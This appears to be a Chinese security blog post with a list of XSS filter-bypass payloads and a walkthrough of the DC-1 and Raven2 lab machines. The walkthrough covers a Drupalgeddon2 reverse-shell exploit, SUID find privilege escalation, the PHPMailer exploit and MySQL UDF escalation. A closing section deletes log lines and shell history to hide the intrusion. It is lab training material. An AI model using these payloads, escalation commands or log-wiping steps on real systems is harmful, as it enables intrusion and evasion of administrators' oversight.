DC-1和Raven2靶场及xss常见绕过

2025-04-06 5 0

xss常见绕过方式:

​ 1.

​ 2.">

​ 3.' ondblclick =javascript:alert(1) '

​ 4."ondblclick =javascript:alert(1) "

​ 5."> <a href=javascript:alert('hack') > xss

​ 6.">

​ 7."> alert("hack")

​ 8.javascript:alert(1)

​ 9.javascRipt:alert(1)//http://

​ 10.123&t_link="%20type="block&t_history="%20type="block&t_sort="type="text"%20onclick="javascript:alert(/XSS/)

DC-1:

$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

mysql -udbuser -pR0ck3t 登录数据库查询

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR --hash加密

find . -name "hash" --查找跟hash有关文件

./scripts/password-hash.sh

123456“ $S$DbvZo.EW5EHLOisAs1rVUlxL1e6qrS353oxpOuV.WYmEbq3kQfA8

find提权:

find / -perm -u=s -type f 2>/dev/null

使用find提权

find / -exec "/bin/bash" -p ;

提权成功,找到最后一个flag

  1. find /

    • 从根目录 /开始递归搜索整个文件系统。

  2. -perm -u=s

    • -perm:按文件权限匹配。

    • -u=s:匹配设置了 SUID 权限的文件。u表示所有者(user),s表示 SUID 位。

    • 符号-表示“至少包含指定权限”(例如 -perm -4000 等效于-perm -u=s),即文件必须启用 SUID 权限

  3. -type f

    • 仅搜索普通文件(排除目录、符号链接等)。

  4. 2>/dev/null

    • 将标准错误(stderr)重定向到

      /dev/null 

      (黑洞设备),隐藏权限不足等错误信息,使输出更干净

DC-1靶场提示:

使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息whatweb -v ip
msf漏洞利用msf漏洞利用神器,直接搜索Drupal这些模块msfconsole
search Drupal
我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2

use 1

show payloads # 显示该模块下的所有payload

发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中
设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp

他们的区别正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问 外网靶机,反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试

获取shellshell
使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"
这样子就好看多了找到flag1.txt
他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下find . -name 'set*'
又给了你一个提示What can you do with these credentials?你能用这些凭证做什么?$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

mysql -udbuser -pR0ck3t

找到有一个users表
我们只能去找这个hash规则的文件了从当前站点目录查找这个文件,并发现有一个password-hash.sh文件find . -name 'hash'
根据找到的文件构造密码
进入mysqlmysql -udbuser -pR0ck3t

修改密码update users set pass='$S$DzDk3olM.Eddhdeb1RbmS6b3FO1DC846VhR2a50zeS89xJKIpzek' where name='admin';
登录即可这里我们就找到了flag3
提示我们去passwd文件看看,提示我们去passwd,找到flag4cat /etc/passwd
切换flag4用户下的目录查看这个文件的权限,尝试追加用户提权,但是只能root读写
find / -perm -u=s -type f 2>/dev/null
1>/dev/null用于丢弃正常输出,而2>/dev/null用于丢弃错误输出。
使用find提权find / -exec "/bin/bash" -p ;
提权成功,找到最后一个flag
痕迹清除
观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(apache日志),msf漏洞利用(kaliweb请求),命令使用(history)

1、中间件日志清除对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。 find / -name 'access*'
查看都有一些什么内容cat /var/log/apache2/access.log
筛选自己主机ip ,sed -i '/192.168.0.1100/d' /var/log/apache2/access.log
这条命令会直接在原文件中删除所有包含192.168.22.165的行。-i选项表示直接修改文件。/d这里表示清除X段下的所有ip地址日志cat /var/log/apache2/access.log
同理正常请求日志清除了,错误请求日志也要删除吧find / -name 'error*'
cat /var/log/apache2/error.log

2、密码还原对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3t
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";
清除数据库日志没有权限,查看日志状态show variables like '%log%';
general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。慢查询日志slow_query_log看图也是关闭的当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。找到这两个日志文件路径,看看有没有,这一步跳过、清除命令历史查看自己曾经输入过的命令history
history -c # 清除命令历史
登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。
nmap扫描日志nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。

23-Raven2:

通过目录扫描找到vendor目录下的第一个flag,在这发现有phpmailer,在kali中searchsploit phpmailer搜索,可以利用

searchsploit 是一个用于在 Exploit-DB 漏洞数据库中搜索漏洞利用脚本和相关信息的工具

选择5.2.18 利用 searchsploit -x php/webapps/40974.py 查看改漏洞内容

sudo cp /usr/share/exploitdb/exploits/php/webapps/40974.py .将它复制到当前目录

sudo vi 40974.pyroot权限进行编辑

esc :wq按esc在输入保存并退出

python 40974.py执行

pip install requests-toolbelt如果报错安装一下

ps -aux|grep mysqlmysql查看权限

数据库udf提权:

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

尝试mysql的udf提权

udf = 'user defined function’即‘用户自定义函数’。
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

查看插件在哪儿:

show variables like '%plugin%';

提权思路:

  • 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)

  • 从udf文件中引入自定义函数(user defined function)

  • 执行自定义函数

My.ini配置文件中没有secure_file_priv,默认不允许读写磁盘中任何文件,默认值为NULL。

​ show global variables like 'secur%';

查看是否存在远程登录

use mysql select user,host from user; 

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

ShellCode加载器 | 基于Go语言的shellcode加载器常见实现方式详解
2025年十大最佳勒索软件文件解密工具
俄罗斯黑客利用MSC EvilTwin漏洞部署SilentPrism和DarkWisp后门程序
CrushFTP 漏洞概念验证代码公开后遭攻击者利用
苹果警告三处正被活跃利用的零日漏洞
菠菜?那很坏了!菠菜渗透小通杀案例

发布评论